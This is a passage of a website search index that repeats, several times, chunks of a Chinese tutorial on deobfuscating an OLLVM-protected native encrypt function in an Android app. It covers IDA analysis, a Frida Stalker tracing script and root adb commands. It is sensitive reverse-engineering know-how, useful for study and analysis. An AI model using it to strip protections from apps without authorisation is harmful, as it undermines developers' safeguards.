图形视图中心有一个\"太阳\"节点，所有块指向它 这就是分发器 FLA 分发器 大量的 if 判断但跟踪发现从不走某个分支 恒真/恒假条件 虚假控制流 (BCF) a + b 写成 (a ^ b) + 2 * (a \u0026 b) 等价但复杂的表达式 指令替换 (SUB) # 在 IDA 中运行此脚本快速判断 (File → Script Command) import idaapi func = idaapi.get_func(idc.here()) blocks = list(idaapi.FlowChart(func)) print(f\"[*] 基本块数量: {len(blocks)}\") # 计算入度 in_degree = {} for b in blocks: for s in b.succs(): in_degree[s.start_ea] = in_degree.get(s.start_ea, 0) + 1 if in_degree: disp_ea = max(in_degree, key=in_degree.get) disp_indeg = in_degree[disp_ea] print(f\"[*] 入度最高的块: 0x{disp_ea:X} (入度={disp_indeg})\") if disp_indeg \u003e 5: print(\"[!] \u003e\u003e\u003e 高度疑似控制流平坦化 \u003c\u003c\u003c\") if len(blocks) \u003e 30: print(\"[!] \u003e\u003e\u003e 基本块过多，疑似叠加虚假控制流 \u003c\u003c\u003c\") 本例结果: 函数有 47 个基本块，中心节点入度 38 → 判定为 平坦化 + 虚假控制流 + 指令替换 三件套。 Step 2: Frida Stalker 动态追踪 — 获取真实执行路径 为什么用动态追踪? 静态分析 47 个块可能需要数小时，而动态追踪 1 秒钟就能告诉你程序真正执行了哪 10 个块。 # 保存以下脚本为 trace_encrypt.js // trace_encrypt.js — 追踪 encrypt 函数的真实执行路径 (function() { var soName = \"libnative.so\"; var funcOffset = 0x12340; // 从 IDA 中获取的函数偏移 var mod = Process.findModuleByName(soName); if (!mod) { console.log(\"[-] 模块未加载，等待...\"); // 如果 SO 还没加载，等待加载 Module.load(soName); mod = Process.findModuleByName(soName); } var base = mod.base; var target = base.add(funcOffset); var uniqueBlocks = {}; var blockSequence = []; console.log(\"[*] SO base: \" + base); console.log(\"[*] Target: \" + target); console.log(\"[*] 开始追踪...\"); Interceptor.attach(target, { onEnter: function(args) { console.log(\"[+] encrypt 被调用!\"); console.log(\" 参数0 (数据指针): \" + args[0]); console.log(\" 参数1 (数据长度): \" + args[1]); // 保存输入数据以便后续对比 this.inputData = Memory.readByteArray(args[0], args[1].toInt32()); this.tid = Process.getCurrentThreadId(); Stalker.follow(this.tid, { transform: function(iterator) { var inst = iterator.next(); do { var addr = inst.address; var off = addr.sub(base).toInt32(); // 只记录目标函数范围内的指令 if (off \u003e= funcOffset \u0026\u0026 off \u003c funcOffset + 0x2000) { iterator.putCallout(function(ctx) { var pc = ctx.pc; var offset = pc.sub(base).toInt32(); var hexOff = \"0x\" + offset.toString(16); if (!uniqueBlocks[hexOff]) { uniqueBlocks[hexOff] = 0; } uniqueBlocks[hexOff]++; blockSequence.push(hexOff); }); } iterator.keep(); } while ((inst = iterator.next()) !== null); } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); // 打印结果 console.log(\"\\n========== 追踪结果 ==========\"); console.log(\"[+] 返回值: \" + retval); console.log(\"[+] 唯一基本块数: \" + Object.keys(uniqueBlocks).length); console.log(\"[+] 总指令数: \" + blockSequence.length); console.log(\"\\n[+] 真实执行的基本块 (按执行顺序):\"); var seen = {}; blockSequence.forEach(function(off) { if (!seen[off]) { seen[off] = true; console.log(\" \" + off + \" (执行 \" + uniqueBlocks[off] + \" 次)\"); } }); // 输出为可直接粘贴到 IDAPython 的格式 console.log(\"\\n[+] IDAPython 标记代码:\"); console.log(\"REAL_BLOCKS = [\" + Object.keys(uniqueBlocks).join(\", \") + \"]\"); } }); })(); # 运行追踪 frida -U -f com.example.app -l trace_encrypt.js --no-pause # 预期输出: # [*] SO base: 0x70a0000000 # [*] Target: 0x70a0012340 # [+] encrypt 被调用! # 参数0 (数据指针): 0x7ff0001000 # 参数1 (数据长度): 0x10 # # ========== 追踪结果 ========== # [+] 返回值: 0x7ff0001000 # [+] 唯一基本块数: 10 # [+","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:11:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#反混淆-ollvm-保护的加密函数-完整流程"},{"categories":null,"collections":null,"content":"反混淆 OLLVM 保护的加密函数 (完整流程) 💡 思路一句话: 先用 IDA 判断混淆类型 → 再用 Frida Stalker 动态追踪真实执行路径（跳过所有虚假分支）→ 然后在 IDA 中标记真实块提取核心逻辑 → 最后用 Unicorn 模拟验证并编写等价 Python 代码。 核心原则: 不要试图\"读懂\"混淆后的代码，而是让程序自己告诉你它真正执行了什么。 目标: libnative.so 中的 encrypt 函数，被 OLLVM -fla -bcf -sub 保护。 环境准备 # 工具清单 (确保已安装) # 1. IDA Pro 7.5+ (带 Hex-Rays ARM64 反编译器) # 2. Frida 16.x # 3. Python 3.8+ + frida-tools # 4. 一台 root 过的 Android 设备 (推荐 Android 10-13) # 检查 Frida 连接 adb devices # 确认设备连接 adb shell \"su -c 'frida-server -D'\" # 后台启动 frida-server frida-ps -U | head -20 # 验证 Frida 正常工作 # 从设备上拉取目标 SO adb shell \"pm path com.example.app\" adb pull /data/app/com.example.app-xxx/lib/arm64/libnative.so ./ Step 1: IDA 静态观察 — 判断混淆类型 操作步骤: 1. 打开 IDA Pro，将 libnative.so 拖入 2. 等待自动分析完成 (进度条走完) 3. 在 Functions 窗口搜索 \"encrypt\" 或 \"Java_com_example\" 找到目标函数 4. 双击进入，按 F5 查看反编译结果 5. 按空格键切换到图形视图 (Graph View) 你会看到什么 (判断依据): 观察到的现象 含义 混淆类型 巨大的 switch-case 循环，几十个 case 所有基本块被打散重组 控制流平坦化 (FLA) 图形视图中心有一个\"太阳\"节点，所有块指向它 这就是分发器 FLA 分发器 大量的 if 判断但跟踪发现从不走某个分支 恒真/恒假条件 虚假控制流 (BCF) a + b 写成 (a ^ b) + 2 * (a \u0026 b) 等价但复杂的表达式 指令替换 (SUB) # 在 IDA 中运行此脚本快速判断 (File → Script Command) import idaapi func = idaapi.get_func(idc.here()) blocks = list(idaapi.FlowChart(func)) print(f\"[*] 基本块数量: {len(blocks)}\") # 计算入度 in_degree = {} for b in blocks: for s in b.succs(): in_degree[s.start_ea] = in_degree.get(s.start_ea, 0) + 1 if in_degree: disp_ea = max(in_degree, key=in_degree.get) disp_indeg = in_degree[disp_ea] print(f\"[*] 入度最高的块: 0x{disp_ea:X} (入度={disp_indeg})\") if disp_indeg \u003e 5: print(\"[!] \u003e\u003e\u003e 高度疑似控制流平坦化 \u003c\u003c\u003c\") if len(blocks) \u003e 30: print(\"[!] \u003e\u003e\u003e 基本块过多，疑似叠加虚假控制流 \u003c\u003c\u003c\") 本例结果: 函数有 47 个基本块，中心节点入度 38 → 判定为 平坦化 + 虚假控制流 + 指令替换 三件套。 Step 2: Frida Stalker 动态追踪 — 获取真实执行路径 为什么用动态追踪? 静态分析 47 个块可能需要数小时，而动态追踪 1 秒钟就能告诉你程序真正执行了哪 10 个块。 # 保存以下脚本为 trace_encrypt.js // trace_encrypt.js — 追踪 encrypt 函数的真实执行路径 (function() { var soName = \"libnative.so\"; var funcOffset = 0x12340; // 从 IDA 中获取的函数偏移 var mod = Process.findModuleByName(soName); if (!mod) { console.log(\"[-] 模块未加载，等待...\"); // 如果 SO 还没加载，等待加载 Module.load(soName); mod = Process.findModuleByName(soName); } var base = mod.base; var target = base.add(funcOffset); var uniqueBlocks = {}; var blockSequence = []; console.log(\"[*] SO base: \" + base); console.log(\"[*] Target: \" + target); console.log(\"[*] 开始追踪...\"); Interceptor.attach(target, { onEnter: function(args) { console.log(\"[+] encrypt 被调用!\"); console.log(\" 参数0 (数据指针): \" + args[0]); console.log(\" 参数1 (数据长度): \" + args[1]); // 保存输入数据以便后续对比 this.inputData = Memory.readByteArray(args[0], args[1].toInt32()); this.tid = Process.getCurrentThreadId(); Stalker.follow(this.tid, { transform: function(iterator) { var inst = iterator.next(); do { var addr = inst.address; var off = addr.sub(base).toInt32(); // 只记录目标函数范围内的指令 if (off \u003e= funcOffset \u0026\u0026 off \u003c funcOffset + 0x2000) { iterator.putCallout(function(ctx) { var pc = ctx.pc; var offset = pc.sub(base).toInt32(); var hexOff = \"0x\" + offset.toString(16); if (!uniqueBlocks[hexOff]) { uniqueBlocks[hexOff] = 0; } uniqueBlocks[hexOff]++; blockSequence.push(hexOff); }); } iterator.keep(); } while ((inst = iterator.next()) !== null); } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); // 打印结果 console.log(\"\\n========== 追踪结果 ==========\"); console.log(\"[+] 返回值: \" + retval); console.log(\"[+] 唯一基本块数: \" + Object.keys(uniqueBlocks).length); console.log(\"[+] 总指令数: \" + blockSequence.length); console.log(\"\\n[+] 真实执行的基本块 (按执行顺序):\"); var seen = {}; blockSequence.forEach(function(off) { if (!seen[off]) { seen[off] = true; console.log(\" \" + off + \" (执行 \" + uniqueBlocks[off] + \" 次)\"); } }); // 输出为可直接粘贴到 IDAPython 的格式 console.log(\"\\n[+] IDAPython 标记代码:\"); console.log(\"REAL_BLOCKS = [\" + Object.keys(uniqueBlocks).join(\", \") + \"]\"); } }); })(); # 运行追踪 frida -U -f com.example.app -l trace_encrypt.js --no-pause # 预期输出: # [*] SO base: 0x70a0000000 # [*] Target: 0x70a0012340 # [+] encrypt 被调用! # 参数0 (数据指针): 0x7ff0001000 # 参数1 (数据长度): 0x10 # # ========== 追踪结果 ========== # [+] 返回值: 0x7ff0001000 # [+] 唯一基本块数: 10 # [+","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:11:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#环境准备"},{"categories":null,"collections":null,"content":"反混淆 OLLVM 保护的加密函数 (完整流程) 💡 思路一句话: 先用 IDA 判断混淆类型 → 再用 Frida Stalker 动态追踪真实执行路径（跳过所有虚假分支）→ 然后在 IDA 中标记真实块提取核心逻辑 → 最后用 Unicorn 模拟验证并编写等价 Python 代码。 核心原则: 不要试图\"读懂\"混淆后的代码，而是让程序自己告诉你它真正执行了什么。 目标: libnative.so 中的 encrypt 函数，被 OLLVM -fla -bcf -sub 保护。 环境准备 # 工具清单 (确保已安装) # 1. IDA Pro 7.5+ (带 Hex-Rays ARM64 反编译器) # 2. Frida 16.x # 3. Python 3.8+ + frida-tools # 4. 一台 root 过的 Android 设备 (推荐 Android 10-13) # 检查 Frida 连接 adb devices # 确认设备连接 adb shell \"su -c 'frida-server -D'\" # 后台启动 frida-server frida-ps -U | head -20 # 验证 Frida 正常工作 # 从设备上拉取目标 SO adb shell \"pm path com.example.app\" adb pull /data/app/com.example.app-xxx/lib/arm64/libnative.so ./ Step 1: IDA 静态观察 — 判断混淆类型 操作步骤: 1. 打开 IDA Pro，将 libnative.so 拖入 2. 等待自动分析完成 (进度条走完) 3. 在 Functions 窗口搜索 \"encrypt\" 或 \"Java_com_example\" 找到目标函数 4. 双击进入，按 F5 查看反编译结果 5. 按空格键切换到图形视图 (Graph View) 你会看到什么 (判断依据): 观察到的现象 含义 混淆类型 巨大的 switch-case 循环，几十个 case 所有基本块被打散重组 控制流平坦化 (FLA) 图形视图中心有一个\"太阳\"节点，所有块指向它 这就是分发器 FLA 分发器 大量的 if 判断但跟踪发现从不走某个分支 恒真/恒假条件 虚假控制流 (BCF) a + b 写成 (a ^ b) + 2 * (a \u0026 b) 等价但复杂的表达式 指令替换 (SUB) # 在 IDA 中运行此脚本快速判断 (File → Script Command) import idaapi func = idaapi.get_func(idc.here()) blocks = list(idaapi.FlowChart(func)) print(f\"[*] 基本块数量: {len(blocks)}\") # 计算入度 in_degree = {} for b in blocks: for s in b.succs(): in_degree[s.start_ea] = in_degree.get(s.start_ea, 0) + 1 if in_degree: disp_ea = max(in_degree, key=in_degree.get) disp_indeg = in_degree[disp_ea] print(f\"[*] 入度最高的块: 0x{disp_ea:X} (入度={disp_indeg})\") if disp_indeg \u003e 5: print(\"[!] \u003e\u003e\u003e 高度疑似控制流平坦化 \u003c\u003c\u003c\") if len(blocks) \u003e 30: print(\"[!] \u003e\u003e\u003e 基本块过多，疑似叠加虚假控制流 \u003c\u003c\u003c\") 本例结果: 函数有 47 个基本块，中心节点入度 38 → 判定为 平坦化 + 虚假控制流 + 指令替换 三件套。 Step 2: Frida Stalker 动态追踪 — 获取真实执行路径 为什么用动态追踪? 静态分析 47 个块可能需要数小时，而动态追踪 1 秒钟就能告诉你程序真正执行了哪 10 个块。 # 保存以下脚本为 trace_encrypt.js // trace_encrypt.js — 追踪 encrypt 函数的真实执行路径 (function() { var soName = \"libnative.so\"; var funcOffset = 0x12340; // 从 IDA 中获取的函数偏移 var mod = Process.findModuleByName(soName); if (!mod) { console.log(\"[-] 模块未加载，等待...\"); // 如果 SO 还没加载，等待加载 Module.load(soName); mod = Process.findModuleByName(soName); } var base = mod.base; var target = base.add(funcOffset); var uniqueBlocks = {}; var blockSequence = []; console.log(\"[*] SO base: \" + base); console.log(\"[*] Target: \" + target); console.log(\"[*] 开始追踪...\"); Interceptor.attach(target, { onEnter: function(args) { console.log(\"[+] encrypt 被调用!\"); console.log(\" 参数0 (数据指针): \" + args[0]); console.log(\" 参数1 (数据长度): \" + args[1]); // 保存输入数据以便后续对比 this.inputData = Memory.readByteArray(args[0], args[1].toInt32()); this.tid = Process.getCurrentThreadId(); Stalker.follow(this.tid, { transform: function(iterator) { var inst = iterator.next(); do { var addr = inst.address; var off = addr.sub(base).toInt32(); // 只记录目标函数范围内的指令 if (off \u003e= funcOffset \u0026\u0026 off \u003c funcOffset + 0x2000) { iterator.putCallout(function(ctx) { var pc = ctx.pc; var offset = pc.sub(base).toInt32(); var hexOff = \"0x\" + offset.toString(16); if (!uniqueBlocks[hexOff]) { uniqueBlocks[hexOff] = 0; } uniqueBlocks[hexOff]++; blockSequence.push(hexOff); }); } iterator.keep(); } while ((inst = iterator.next()) !== null); } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); // 打印结果 console.log(\"\\n========== 追踪结果 ==========\"); console.log(\"[+] 返回值: \" + retval); console.log(\"[+] 唯一基本块数: \" + Object.keys(uniqueBlocks).length); console.log(\"[+] 总指令数: \" + blockSequence.length); console.log(\"\\n[+] 真实执行的基本块 (按执行顺序):\"); var seen = {}; blockSequence.forEach(function(off) { if (!seen[off]) { seen[off] = true; console.log(\" \" + off + \" (执行 \" + uniqueBlocks[off] + \" 次)\"); } }); // 输出为可直接粘贴到 IDAPython 的格式 console.log(\"\\n[+] IDAPython 标记代码:\"); console.log(\"REAL_BLOCKS = [\" + Object.keys(uniqueBlocks).join(\", \") + \"]\"); } }); })(); # 运行追踪 frida -U -f com.example.app -l trace_encrypt.js --no-pause # 预期输出: # [*] SO base: 0x70a0000000 # [*] Target: 0x70a0012340 # [+] encrypt 被调用! # 参数0 (数据指针): 0x7ff0001000 # 参数1 (数据长度): 0x10 # # ========== 追踪结果 ========== # [+] 返回值: 0x7ff0001000 # [+] 唯一基本块数: 10 # [+","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:11:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#step-1-ida-静态观察--判断混淆类型"},{"categories":null,"collections":null,"content":"反混淆 OLLVM 保护的加密函数 (完整流程) 💡 思路一句话: 先用 IDA 判断混淆类型 → 再用 Frida Stalker 动态追踪真实执行路径（跳过所有虚假分支）→ 然后在 IDA 中标记真实块提取核心逻辑 → 最后用 Unicorn 模拟验证并编写等价 Python 代码。 核心原则: 不要试图\"读懂\"混淆后的代码，而是让程序自己告诉你它真正执行了什么。 目标: libnative.so 中的 encrypt 函数，被 OLLVM -fla -bcf -sub 保护。 环境准备 # 工具清单 (确保已安装) # 1. IDA Pro 7.5+ (带 Hex-Rays ARM64 反编译器) # 2. Frida 16.x # 3. Python 3.8+ + frida-tools # 4. 一台 root 过的 Android 设备 (推荐 Android 10-13) # 检查 Frida 连接 adb devices # 确认设备连接 adb shell \"su -c 'frida-server -D'\" # 后台启动 frida-server frida-ps -U | head -20 # 验证 Frida 正常工作 # 从设备上拉取目标 SO adb shell \"pm path com.example.app\" adb pull /data/app/com.example.app-xxx/lib/arm64/libnative.so ./ Step 1: IDA 静态观察 — 判断混淆类型 操作步骤: 1. 打开 IDA Pro，将 libnative.so 拖入 2. 等待自动分析完成 (进度条走完) 3. 在 Functions 窗口搜索 \"encrypt\" 或 \"Java_com_example\" 找到目标函数 4. 双击进入，按 F5 查看反编译结果 5. 按空格键切换到图形视图 (Graph View) 你会看到什么 (判断依据): 观察到的现象 含义 混淆类型 巨大的 switch-case 循环，几十个 case 所有基本块被打散重组 控制流平坦化 (FLA) 图形视图中心有一个\"太阳\"节点，所有块指向它 这就是分发器 FLA 分发器 大量的 if 判断但跟踪发现从不走某个分支 恒真/恒假条件 虚假控制流 (BCF) a + b 写成 (a ^ b) + 2 * (a \u0026 b) 等价但复杂的表达式 指令替换 (SUB) # 在 IDA 中运行此脚本快速判断 (File → Script Command) import idaapi func = idaapi.get_func(idc.here()) blocks = list(idaapi.FlowChart(func)) print(f\"[*] 基本块数量: {len(blocks)}\") # 计算入度 in_degree = {} for b in blocks: for s in b.succs(): in_degree[s.start_ea] = in_degree.get(s.start_ea, 0) + 1 if in_degree: disp_ea = max(in_degree, key=in_degree.get) disp_indeg = in_degree[disp_ea] print(f\"[*] 入度最高的块: 0x{disp_ea:X} (入度={disp_indeg})\") if disp_indeg \u003e 5: print(\"[!] \u003e\u003e\u003e 高度疑似控制流平坦化 \u003c\u003c\u003c\") if len(blocks) \u003e 30: print(\"[!] \u003e\u003e\u003e 基本块过多，疑似叠加虚假控制流 \u003c\u003c\u003c\") 本例结果: 函数有 47 个基本块，中心节点入度 38 → 判定为 平坦化 + 虚假控制流 + 指令替换 三件套。 Step 2: Frida Stalker 动态追踪 — 获取真实执行路径 为什么用动态追踪? 静态分析 47 个块可能需要数小时，而动态追踪 1 秒钟就能告诉你程序真正执行了哪 10 个块。 # 保存以下脚本为 trace_encrypt.js // trace_encrypt.js — 追踪 encrypt 函数的真实执行路径 (function() { var soName = \"libnative.so\"; var funcOffset = 0x12340; // 从 IDA 中获取的函数偏移 var mod = Process.findModuleByName(soName); if (!mod) { console.log(\"[-] 模块未加载，等待...\"); // 如果 SO 还没加载，等待加载 Module.load(soName); mod = Process.findModuleByName(soName); } var base = mod.base; var target = base.add(funcOffset); var uniqueBlocks = {}; var blockSequence = []; console.log(\"[*] SO base: \" + base); console.log(\"[*] Target: \" + target); console.log(\"[*] 开始追踪...\"); Interceptor.attach(target, { onEnter: function(args) { console.log(\"[+] encrypt 被调用!\"); console.log(\" 参数0 (数据指针): \" + args[0]); console.log(\" 参数1 (数据长度): \" + args[1]); // 保存输入数据以便后续对比 this.inputData = Memory.readByteArray(args[0], args[1].toInt32()); this.tid = Process.getCurrentThreadId(); Stalker.follow(this.tid, { transform: function(iterator) { var inst = iterator.next(); do { var addr = inst.address; var off = addr.sub(base).toInt32(); // 只记录目标函数范围内的指令 if (off \u003e= funcOffset \u0026\u0026 off \u003c funcOffset + 0x2000) { iterator.putCallout(function(ctx) { var pc = ctx.pc; var offset = pc.sub(base).toInt32(); var hexOff = \"0x\" + offset.toString(16); if (!uniqueBlocks[hexOff]) { uniqueBlocks[hexOff] = 0; } uniqueBlocks[hexOff]++; blockSequence.push(hexOff); }); } iterator.keep(); } while ((inst = iterator.next()) !== null); } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); // 打印结果 console.log(\"\\n========== 追踪结果 ==========\"); console.log(\"[+] 返回值: \" + retval); console.log(\"[+] 唯一基本块数: \" + Object.keys(uniqueBlocks).length); console.log(\"[+] 总指令数: \" + blockSequence.length); console.log(\"\\n[+] 真实执行的基本块 (按执行顺序):\"); var seen = {}; blockSequence.forEach(function(off) { if (!seen[off]) { seen[off] = true; console.log(\" \" + off + \" (执行 \" + uniqueBlocks[off] + \" 次)\"); } }); // 输出为可直接粘贴到 IDAPython 的格式 console.log(\"\\n[+] IDAPython 标记代码:\"); console.log(\"REAL_BLOCKS = [\" + Object.keys(uniqueBlocks).join(\", \") + \"]\"); } }); })(); # 运行追踪 frida -U -f com.example.app -l trace_encrypt.js --no-pause # 预期输出: # [*] SO base: 0x70a0000000 # [*] Target: 0x70a0012340 # [+] encrypt 被调用! # 参数0 (数据指针): 0x7ff0001000 # 参数1 (数据长度): 0x10 # # ========== 追踪结果 ========== # [+] 返回值: 0x7ff0001000 # [+] 唯一基本块数: 10 # [+","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:11:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#step-2-frida-stalker-动态追踪--获取真实执行路径"},{"categories":null,"collections":null,"content":"反混淆 OLLVM 保护的加密函数 (完整流程) 💡 思路一句话: 先用 IDA 判断混淆类型 → 再用 Frida Stalker 动态追踪真实执行路径（跳过所有虚假分支）→ 然后在 IDA 中标记真实块提取核心逻辑 → 最后用 Unicorn 模拟验证并编写等价 Python 代码。 核心原则: 不要试图\"读懂\"混淆后的代码，而是让程序自己告诉你它真正执行了什么。 目标: libnative.so 中的 encrypt 函数，被 OLLVM -fla -bcf -sub 保护。 环境准备 # 工具清单 (确保已安装) # 1. IDA Pro 7.5+ (带 Hex-Rays ARM64 反编译器) # 2. Frida 16.x # 3. Python 3.8+ + frida-tools # 4. 一台 root 过的 Android 设备 (推荐 Android 10-13) # 检查 Frida 连接 adb devices # 确认设备连接 adb shell \"su -c 'frida-server -D'\" # 后台启动 frida-server frida-ps -U | head -20 # 验证 Frida 正常工作 # 从设备上拉取目标 SO adb shell \"pm path com.example.app\" adb pull /data/app/com.example.app-xxx/lib/arm64/libnative.so ./ Step 1: IDA 静态观察 — 判断混淆类型 操作步骤: 1. 打开 IDA Pro，将 libnative.so 拖入 2. 等待自动分析完成 (进度条走完) 3. 在 Functions 窗口搜索 \"encrypt\" 或 \"Java_com_example\" 找到目标函数 4. 双击进入，按 F5 查看反编译结果 5. 按空格键切换到图形视图 (Graph View) 你会看到什么 (判断依据): 观察到的现象 含义 混淆类型 巨大的 switch-case 循环，几十个 case 所有基本块被打散重组 控制流平坦化 (FLA) 图形视图中心有一个\"太阳\"节点，所有块指向它 这就是分发器 FLA 分发器 大量的 if 判断但跟踪发现从不走某个分支 恒真/恒假条件 虚假控制流 (BCF) a + b 写成 (a ^ b) + 2 * (a \u0026 b) 等价但复杂的表达式 指令替换 (SUB) # 在 IDA 中运行此脚本快速判断 (File → Script Command) import idaapi func = idaapi.get_func(idc.here()) blocks = list(idaapi.FlowChart(func)) print(f\"[*] 基本块数量: {len(blocks)}\") # 计算入度 in_degree = {} for b in blocks: for s in b.succs(): in_degree[s.start_ea] = in_degree.get(s.start_ea, 0) + 1 if in_degree: disp_ea = max(in_degree, key=in_degree.get) disp_indeg = in_degree[disp_ea] print(f\"[*] 入度最高的块: 0x{disp_ea:X} (入度={disp_indeg})\") if disp_indeg \u003e 5: print(\"[!] \u003e\u003e\u003e 高度疑似控制流平坦化 \u003c\u003c\u003c\") if len(blocks) \u003e 30: print(\"[!] \u003e\u003e\u003e 基本块过多，疑似叠加虚假控制流 \u003c\u003c\u003c\") 本例结果: 函数有 47 个基本块，中心节点入度 38 → 判定为 平坦化 + 虚假控制流 + 指令替换 三件套。 Step 2: Frida Stalker 动态追踪 — 获取真实执行路径 为什么用动态追踪? 静态分析 47 个块可能需要数小时，而动态追踪 1 秒钟就能告诉你程序真正执行了哪 10 个块。 # 保存以下脚本为 trace_encrypt.js // trace_encrypt.js — 追踪 encrypt 函数的真实执行路径 (function() { var soName = \"libnative.so\"; var funcOffset = 0x12340; // 从 IDA 中获取的函数偏移 var mod = Process.findModuleByName(soName); if (!mod) { console.log(\"[-] 模块未加载，等待...\"); // 如果 SO 还没加载，等待加载 Module.load(soName); mod = Process.findModuleByName(soName); } var base = mod.base; var target = base.add(funcOffset); var uniqueBlocks = {}; var blockSequence = []; console.log(\"[*] SO base: \" + base); console.log(\"[*] Target: \" + target); console.log(\"[*] 开始追踪...\"); Interceptor.attach(target, { onEnter: function(args) { console.log(\"[+] encrypt 被调用!\"); console.log(\" 参数0 (数据指针): \" + args[0]); console.log(\" 参数1 (数据长度): \" + args[1]); // 保存输入数据以便后续对比 this.inputData = Memory.readByteArray(args[0], args[1].toInt32()); this.tid = Process.getCurrentThreadId(); Stalker.follow(this.tid, { transform: function(iterator) { var inst = iterator.next(); do { var addr = inst.address; var off = addr.sub(base).toInt32(); // 只记录目标函数范围内的指令 if (off \u003e= funcOffset \u0026\u0026 off \u003c funcOffset + 0x2000) { iterator.putCallout(function(ctx) { var pc = ctx.pc; var offset = pc.sub(base).toInt32(); var hexOff = \"0x\" + offset.toString(16); if (!uniqueBlocks[hexOff]) { uniqueBlocks[hexOff] = 0; } uniqueBlocks[hexOff]++; blockSequence.push(hexOff); }); } iterator.keep(); } while ((inst = iterator.next()) !== null); } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); // 打印结果 console.log(\"\\n========== 追踪结果 ==========\"); console.log(\"[+] 返回值: \" + retval); console.log(\"[+] 唯一基本块数: \" + Object.keys(uniqueBlocks).length); console.log(\"[+] 总指令数: \" + blockSequence.length); console.log(\"\\n[+] 真实执行的基本块 (按执行顺序):\"); var seen = {}; blockSequence.forEach(function(off) { if (!seen[off]) { seen[off] = true; console.log(\" \" + off + \" (执行 \" + uniqueBlocks[off] + \" 次)\"); } }); // 输出为可直接粘贴到 IDAPython 的格式 console.log(\"\\n[+] IDAPython 标记代码:\"); console.log(\"REAL_BLOCKS = [\" + Object.keys(uniqueBlocks).join(\", \") + \"]\"); } }); })(); # 运行追踪 frida -U -f com.example.app -l trace_encrypt.js --no-pause # 预期输出: # [*] SO base: 0x70a0000000 # [*] Target: 0x70a0012340 # [+] encrypt 被调用! # 参数0 (数据指针): 0x7ff0001000 # 参数1 (数据长度): 0x10 # # ========== 追踪结果 ========== # [+] 返回值: 0x7ff0001000 # [+] 唯一基本块数: 10 # [+","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:11:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#step-3-idapython-标记真实块"},{"categories":null,"collections":null,"content":"反混淆 OLLVM 保护的加密函数 (完整流程) 💡 思路一句话: 先用 IDA 判断混淆类型 → 再用 Frida Stalker 动态追踪真实执行路径（跳过所有虚假分支）→ 然后在 IDA 中标记真实块提取核心逻辑 → 最后用 Unicorn 模拟验证并编写等价 Python 代码。 核心原则: 不要试图\"读懂\"混淆后的代码，而是让程序自己告诉你它真正执行了什么。 目标: libnative.so 中的 encrypt 函数，被 OLLVM -fla -bcf -sub 保护。 环境准备 # 工具清单 (确保已安装) # 1. IDA Pro 7.5+ (带 Hex-Rays ARM64 反编译器) # 2. Frida 16.x # 3. Python 3.8+ + frida-tools # 4. 一台 root 过的 Android 设备 (推荐 Android 10-13) # 检查 Frida 连接 adb devices # 确认设备连接 adb shell \"su -c 'frida-server -D'\" # 后台启动 frida-server frida-ps -U | head -20 # 验证 Frida 正常工作 # 从设备上拉取目标 SO adb shell \"pm path com.example.app\" adb pull /data/app/com.example.app-xxx/lib/arm64/libnative.so ./ Step 1: IDA 静态观察 — 判断混淆类型 操作步骤: 1. 打开 IDA Pro，将 libnative.so 拖入 2. 等待自动分析完成 (进度条走完) 3. 在 Functions 窗口搜索 \"encrypt\" 或 \"Java_com_example\" 找到目标函数 4. 双击进入，按 F5 查看反编译结果 5. 按空格键切换到图形视图 (Graph View) 你会看到什么 (判断依据): 观察到的现象 含义 混淆类型 巨大的 switch-case 循环，几十个 case 所有基本块被打散重组 控制流平坦化 (FLA) 图形视图中心有一个\"太阳\"节点，所有块指向它 这就是分发器 FLA 分发器 大量的 if 判断但跟踪发现从不走某个分支 恒真/恒假条件 虚假控制流 (BCF) a + b 写成 (a ^ b) + 2 * (a \u0026 b) 等价但复杂的表达式 指令替换 (SUB) # 在 IDA 中运行此脚本快速判断 (File → Script Command) import idaapi func = idaapi.get_func(idc.here()) blocks = list(idaapi.FlowChart(func)) print(f\"[*] 基本块数量: {len(blocks)}\") # 计算入度 in_degree = {} for b in blocks: for s in b.succs(): in_degree[s.start_ea] = in_degree.get(s.start_ea, 0) + 1 if in_degree: disp_ea = max(in_degree, key=in_degree.get) disp_indeg = in_degree[disp_ea] print(f\"[*] 入度最高的块: 0x{disp_ea:X} (入度={disp_indeg})\") if disp_indeg \u003e 5: print(\"[!] \u003e\u003e\u003e 高度疑似控制流平坦化 \u003c\u003c\u003c\") if len(blocks) \u003e 30: print(\"[!] \u003e\u003e\u003e 基本块过多，疑似叠加虚假控制流 \u003c\u003c\u003c\") 本例结果: 函数有 47 个基本块，中心节点入度 38 → 判定为 平坦化 + 虚假控制流 + 指令替换 三件套。 Step 2: Frida Stalker 动态追踪 — 获取真实执行路径 